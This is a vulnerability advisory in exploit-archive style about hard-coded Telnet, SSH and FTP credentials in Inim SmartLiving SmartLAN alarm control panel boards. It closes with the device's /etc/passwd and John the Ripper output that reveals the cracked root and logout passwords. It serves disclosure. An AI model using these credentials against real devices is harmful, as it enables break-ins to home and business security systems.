  # Exploit Title: Inim Electronics Smartliving SmartLAN 6.x - Hard-coded Credentials # Exploit Author: LiquidWorm # Date: 2019-12-09 # Product web page: https://www.inim.biz # Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving? # Advisory ID: ZSL-2019-5546 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5546.php   Inim Electronics Smartliving SmartLAN/G/SI <=6.x Hard-coded Credentials     Vendor: INIM Electronics s.r.l. Product web page: https://www.inim.biz Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving? Affected version: <=6.x Affected models: SmartLiving 505 SmartLiving 515 SmartLiving 1050, SmartLiving 1050/G3 SmartLiving 10100L, SmartLiving10100L/G3   Summary: SmartLiving anti-intrusion control panel and security system provides important features rarely found in residential, commercial or industrial application systems of its kind. This optimized-performance control panel provides first-rate features such as: graphic display, text-to-speech, voice notifier, flexible hardware, end-to-end voice transmission (voice-on-bus), IP connectivity.   SMARTLAN/SI: The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point networking capability and fast connectivity to the Internet. Therefore, it is possible to set up a remote connection and program or control the system via the SmartLeague software application. In effect, the SmartLAN/SI board grants the same level of access to the system as a local RS232 connection.   SMARTLAN/G: The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides advanced remote-access and communication functions. The SmartLAN/G board is capable of sending event-related e-mails automatically. Each e-mail can be associated with a subject, an attachment and a text message. The attachment can be of any kind and is saved to an SD card. The message text can contain direct links to domains or IP addressable devices, such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users global access to their control panels via any Internet browser accessed through a PC, PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of distinguishing the means of connection and as a result provides an appropriate web-page for the tool in use. Smartphones can control the system in much the same way as a household keypad, from inside the house or from any part of the world.   Desc: The devices utilizes hard-coded credentials within its Linux distribution image. These sets of credentials (Telnet, SSH, FTP) are never exposed to the end-user and cannot be changed through any normal operation of the smart home device. Attacker could exploit this vulnerability by logging in and gain system access.   Tested on: GNU/Linux 3.2.1 armv5tejl Boa/0.94.14rc21 BusyBox v1.20.2     Vulnerability discovered by Gjoko &apos;LiquidWorm&apos; Krstic @zeroscience     Advisory ID: ZSL-2019-5546 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5546.php     06.09.2019   --     # cat /etc/passwd root:$1$$uqbusDeGY2YWqg.T2S1100:0:0:administrator:/:/bin/sh nobody:*:254:254:nobody:/var/empty:/bin/sh logout:gfr8cijmRSDck:498:506:logout:/:   # john --show /etc/passwd root:pass:0:0:administrator:/:/bin/sh logout:logout:498:506:logout:/:   2 password hashes cracked, 0 left
